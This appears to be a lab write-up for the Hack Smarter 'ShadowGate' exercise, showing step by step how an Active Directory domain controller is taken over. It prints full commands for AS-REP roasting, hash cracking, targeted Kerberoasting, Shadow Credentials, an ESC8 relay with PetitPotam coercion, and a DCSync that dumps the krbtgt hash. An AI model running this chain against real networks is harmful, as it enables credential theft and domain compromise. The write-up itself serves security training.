> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/shadowgate.md).

# ShadowGate

{% embed url="<https://www.hacksmarter.org/courses/e7586073-d447-41db-8f8e-6bd22576556d>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

**ShadowGate** recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.

While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.

The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.

The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their internal network, but no credentials.

## Summary

<details>

<summary>Summary</summary>

In ShadowGate, we begin without credentials against a Windows Domain Controller `DC01.shadow.gate`. Initial enumeration via NetExec reveals anonymous SMB authentication is permitted, allowing us to extract the domain user list and feed it into `GetNPUsers.py` for an AS-REP Roasting attack. The blob returned for `jtrueblood` is cracked with Hashcat mode `18200`, granting our first set of valid credentials and SMB access to the domain.

BloodHound enumeration exposes `jtrueblood`'s `GenericWrite` over `bbrown`, a member of the `ADCS-READERS` group, which we abuse through a Targeted Kerberoasting attack to register an SPN, request a TGS, and crack `bbrown`'s password offline with Hashcat mode `13100`. With `bbrown`, a second Certipy enumeration reveals an `ESC8` misconfiguration where the AD CS Web Enrollment endpoint accepts NTLM authentication without channel binding, alongside a `DomainController` template suitable for machine enrollment. We launch a Certipy relay against `http://DC01.shadow.gate` and coerce the DC into authenticating to our host using PetitPotam's MS-EFSRPC abuse, capturing the relayed session and issuing a certificate as `DC01$`.

Authenticating with the resulting `dc01.pfx` through Certipy yields a TGT and the NTLM hash of the DC01 machine account, which we leverage through `secretsdump.py` to perform a DCSync and retrieve the `krbtgt` hash.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.99.8 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

The target `10.1.99.8` is a Domain Controller `DC01.shadow.gate`. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`. SMB is exposed via ports `139` and `445` with message signing enabled but not required. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `53559`, and several MSRPC endpoints on ports `135`, `49664`, `49667`, `49669`, `53562`, `53570`, `53585`, `53600`, and `53613`.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.99.8 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/S51JoD6AicjEx4WzN4qC" alt=""><figcaption></figcaption></figure>

We begin by enumerating the domain controller's SMB service via Netexec.&#x20;

We'll follow the orange-cyberdefense mindmap.&#x20;

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/lxKEhTHmkbWKcNvZmYNE" alt=""><figcaption></figcaption></figure>

We test for an anonymous authentication and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.99.8 -u '' -p ''
```

{% endcode %}

<figure><img src="/files/R5r5OYdBKQ1RwrTRRrvS" alt=""><figcaption></figcaption></figure>

From there we generate a `/etc/hosts` file entry...

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.99.8 -u '' -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/FoNxCLuaOPpwLLuJq7aN" alt=""><figcaption></figcaption></figure>

... and add the following line to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.99.8     DC01.shadow.gate shadow.gate DC01
```

{% endcode %}

## Access as jtrueblood

Using anonymous access, we first attempt to enumerate users in the domain using NetExec.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/bPjN69fETCUuR2Ks4hP6" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.shadow.gate -u '' -p '' --users
```

{% endcode %}

<figure><img src="/files/2XP7L8IWlcoKfklVwhvm" alt=""><figcaption></figcaption></figure>

{% code title="users.txt" overflow="wrap" expandable="true" %}

```
Guest
krbtgt
ATHENA
mbrownlee
bbrown
jtrueblood
jsmith
clocke
tclarke
jbradford
amoss
```

{% endcode %}

With those users we can try to ASREProast them.

With ASREProasting accounts with Kerberos pre-authentication disabled are exploited by requesting a TGT for them, since the KDC will return an `AS-REP` containing a session key encrypted with the user's password-derived hash. We can then crack that hash offline to recover the plaintext password, though the TGT itself remains unusable without it.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/asreproast#practice>" %}

<figure><img src="/files/5GBoUHgnnXPvusXE2zGx" alt=""><figcaption></figcaption></figure>

We use impackets GetNPUsers.py for AS-REP Roasting and are able to extract the blob from `jtrueblood`.

{% code overflow="wrap" expandable="true" %}

```
GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip DC01.shadow.gate 'shadow.gate/'
```

{% endcode %}

<figure><img src="/files/iULOG0HVTGkJY72lVLCR" alt=""><figcaption></figcaption></figure>

Next, we try to crack the blob and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m18200 ASREProastables.txt /usr/share/wordlists/rockyou.txt 
```

{% endcode %}

<figure><img src="/files/OiLd5CRJTEYjhgXIpYFR" alt=""><figcaption></figcaption></figure>

With the credentials recovered we are able to authenticate as `jtrueblood` against SMB using NetExec.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.shadow.gate -u 'jtrueblood' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/5IrVqVz0ZSOprSMNK6hJ" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

With that user credentials gathered we are now able to enumerate the domain using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py --zip -c All -d shadow.gate -u 'jtrueblood' -p 'REDACTED' -dc DC01.shadow.gate -ns 10.1.99.8
```

{% endcode %}

<figure><img src="/files/466B3hZvTfUda5gpxgfR" alt=""><figcaption></figcaption></figure>

If we look at the outbound controls of our recently compromised account `jtrueblood` we see that the user has `GenericWrite` permissions over the user `bbrown`. Potentially allowing us to perform a targetedKerberoast attack or a shadow auto credentials attack on the users account for an account takeover.

<figure><img src="/files/SLBI45B8vrnikDhMbk2M" alt=""><figcaption></figcaption></figure>

Furthermore, we see that `bbrown` is member of the `ADCS-READERS` group. This is interesting, maybe there are some misconfigured certificates to abuse.

<figure><img src="/files/BjzEGI6OeekbPbLUvV4i" alt=""><figcaption></figcaption></figure>

## Certipy Enumeration I

We try to enumerate misconfigured certificates using certipy but do not find any.

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'jtrueblood@shadow.gate' -p 'REDACTED' -dc-ip 10.1.99.8 -target DC01.shadow.gate  -vulnerable
```

{% endcode %}

<figure><img src="/files/t4v0sFCiBLZeUF9saBF3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cwav0nBh3Mqfw0FdnnPF" alt=""><figcaption></figcaption></figure>

## Access as bbrown

We move on and try to get access as `bbrown`. Since that user is member of the `ADCS-READERS` we might get more insight regarding ADCS configurations.

### TargetedKerberoast

We'll start with the TargetedKerberoast. See below links for further reading:&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting>" %}

> This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `WriteProperty` or `Validated-SPN` over the target. A member of the [Account Operator](https://www.thehacker.recipes/ad/movement/builtins/security-groups) group usually has those permissions.
>
> The attacker can add an SPN (`ServicePrincipalName`) to that account. Once the account has an SPN, it becomes vulnerable to [Kerberoasting](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast). This technique is called Targeted Kerberoasting.

To perform the TargetedKerberoast we will use the following tool:&#x20;

{% embed url="<https://github.com/ShutdownRepo/targetedKerberoast>" %}

We run the following command and are able to get the Kerberos 5, etype 23, TGS-REP blob of the `jtrueblood` user.

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -v -d 'shadow.gate' -u 'jtrueblood' -p 'REDACTED' -o Kerberoastables.txt
```

{% endcode %}

<figure><img src="/files/lI0Eg33bWAD2I8gBO3VZ" alt=""><figcaption></figcaption></figure>

We use hashcat again to crack the blob and are able to retrieve the password of `bbrown`.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m13100 -a0 Kerberoastables.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/rP3OhrrxBpnE1wTSO7iC" alt=""><figcaption></figcaption></figure>

### Shadow Credentials Attack

The following Section descirbes the Shadow Credentials Attack and can be skipped.

Further information on the Shadow Credentials Attack can be found under the following link:

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials#shadow-credentials>" %}

> The Kerberos authentication protocol works with tickets in order to grant access. An ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to [ASREProast](https://www.thehacker.recipes/ad/movement/kerberos/asreproast)). The pre-authentication can be validated symmetrically (with a DES, RC4, AES128 or AES256 key) or asymmetrically (with certificates). The asymmetrical way of pre-authenticating is called PKINIT.
>
> > The client has a public-private key pair, and encrypts the pre-authentication data with their private key, and the KDC decrypts it with the client’s public key. The KDC also has a public-private key pair, allowing for the exchange of a session key.
> >
> > ([specterops.io](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab))
>
> Active Directory user and computer objects have an attribute called `msDS-KeyCredentialLink` where raw public keys can be set. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
>
> There are multiple scenarios where an attacker can have control over an account that has the ability to edit the `msDS-KeyCredentialLink` (a.k.a. "kcl") attribute of other objects (e.g. member of a [special group](https://www.thehacker.recipes/ad/movement/builtins/security-groups), has [powerful ACEs](https://www.thehacker.recipes/ad/movement/dacl/), etc.). This allows attackers to create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target object (can be a user or a computer).

To perform the Shadow Credentials Attack we are using Certipy.

{% embed url="<https://github.com/ly4k/Certipy?tab=readme-ov-file#shadow-credentials>" %}

In short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.

With the following command we issue the attack and are succesful. We retrieve the NT hash of `bbrown`.

{% code overflow="wrap" expandable="true" %}

```
certipy shadow auto -u 'jtrueblood@shadow.gate' -p 'REDACTED' -account 'bbrown' -dc-ip 10.1.99.8
```

{% endcode %}

<figure><img src="/files/84xq4iG93eCo1tsl0qrm" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated.&#x20;

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.shadow.gate -u bbrown -H 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/Xr2c7gbHEGjtWTTGiP9L" alt=""><figcaption></figcaption></figure>

## Certipy Enumeration II

We spin up certipy again, this time with bbrown. We can use either the retrieved password or the hash.

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'bbrown@shadow.gate' -p 'REDACTED' -dc-ip 10.1.99.8 -target DC01.shadow.gate  -vulnerable
```

{% endcode %}

Alternative using the NTLM hash:

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'bbrown@shadow.gate' -hashes 'REDACTED' -dc-ip 10.1.99.8 -target DC01.shadow.gate  -vulnerable
```

{% endcode %}

<figure><img src="/files/xOusPJtLpWs2IlXbCJwS" alt=""><figcaption></figcaption></figure>

We see ESC8 is there. ESC8 is an AD CS misconfiguration / attack where an HTTP-based certificate enrollment endpoint accepts NTLM authentication without enforcing channel binding or HTTPS-only, allowing to relay coerced NTLM authentication from a victim like a domain controller to that endpoint. The relayed session is used to enroll a certificate on the victim's behalf, which then can be use to authenticate via PKINIT. It's not a misconfigured template.

A more detailed explanation can be found here:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment>" %}

<figure><img src="/files/Q0bLe1a6fnttW4ixDJUr" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
"ESC8": "Web Enrollment is enabled and Request Disposition is set to Issue"
```

{% endcode %}

We are looking for a template that allows machine/DC enrollment. We use certipy again but this time we query for all templates.

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'bbrown@shadow.gate' -p 'REDACTED' -dc-ip 10.1.99.8 -target DC01.shadow.gate 
```

{% endcode %}

Alternative using the NTLM hash:

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 'bbrown@shadow.gate' -hashes 'REDACTED' -dc-ip 10.1.99.8 -target DC01.shadow.gate 
```

{% endcode %}

<figure><img src="/files/o1Kplq72ywXADr6qThVj" alt=""><figcaption></figcaption></figure>

The `DomainController` template is fitting.

<figure><img src="/files/gDdWPKuDVTOf1bg4rkPW" alt=""><figcaption></figcaption></figure>

## Access as dc01$

First, we start a relay using certipy to capture NTLM authentication and relay to the AD CS Web Enrollment endpoint, requesting a certificate using the `DomainController` template. If successful, it issues a certificate for the relayed identity, enabling authentication to the Active Directory services.

{% code overflow="wrap" expandable="true" %}

```
certipy relay -target http://DC01.shadow.gate -template DomainController
```

{% endcode %}

<figure><img src="/files/LohkvN15hNLYR9MSiRIk" alt=""><figcaption></figcaption></figure>

Next, we use PetitPotam to coerce DC01 into authenticating to the attacker-controlled host `10.200.52.92` by abusing MS-EFSRPC calls. The provided credentials of `bbrown` are used to trigger the authentication attempt, which can then be captured and relayed. We use our machine IP `10.200.52.92` since we run the relay.

{% code overflow="wrap" expandable="true" %}

```
petitpotam.py -u 'bbrown' -p 'REDACTED' <YOUR_IP> 10.1.99.8
```

{% endcode %}

Alternative using the NTLM hash

{% code overflow="wrap" expandable="true" %}

```
petitpotam.py -u 'bbrown' -hashes ':REDACTED' <YOUR_IP> 10.1.99.8
```

{% endcode %}

<figure><img src="/files/7ujBrcwPYfKhOC7Z0m0R" alt=""><figcaption></figcaption></figure>

After a while, we receive a certificate file.

<figure><img src="/files/uFrs6Jp4S0zrbQgwilln" alt=""><figcaption></figcaption></figure>

Next we authenticate via certipy using the `dc01.pfx` certificate obtained giving us a ccache file and the NTLM hash of the `DC01$` machine.

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx dc01.pfx -dc-ip 10.1.99.8
```

{% endcode %}

<figure><img src="/files/lLoIpT5GJC8KOTZlCXCf" alt=""><figcaption></figcaption></figure>

Since we now have access as the `DC01` we are able to perform a DCSync.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync#dcsync>" %}

DCSync is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller allowing to request password data from a domain controller as if they were another DC. We can do it either using the gathered hash or the ccache file via impackets secretsdump.py.

We retrieve the NTLM hash of the krbtgt account.

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py 'dc01$@DC01.shadow.gate' -hashes :REDACTED
```

{% endcode %}

<figure><img src="/files/R4RQsI30AHOpuZNcXZrc" alt=""><figcaption></figcaption></figure>
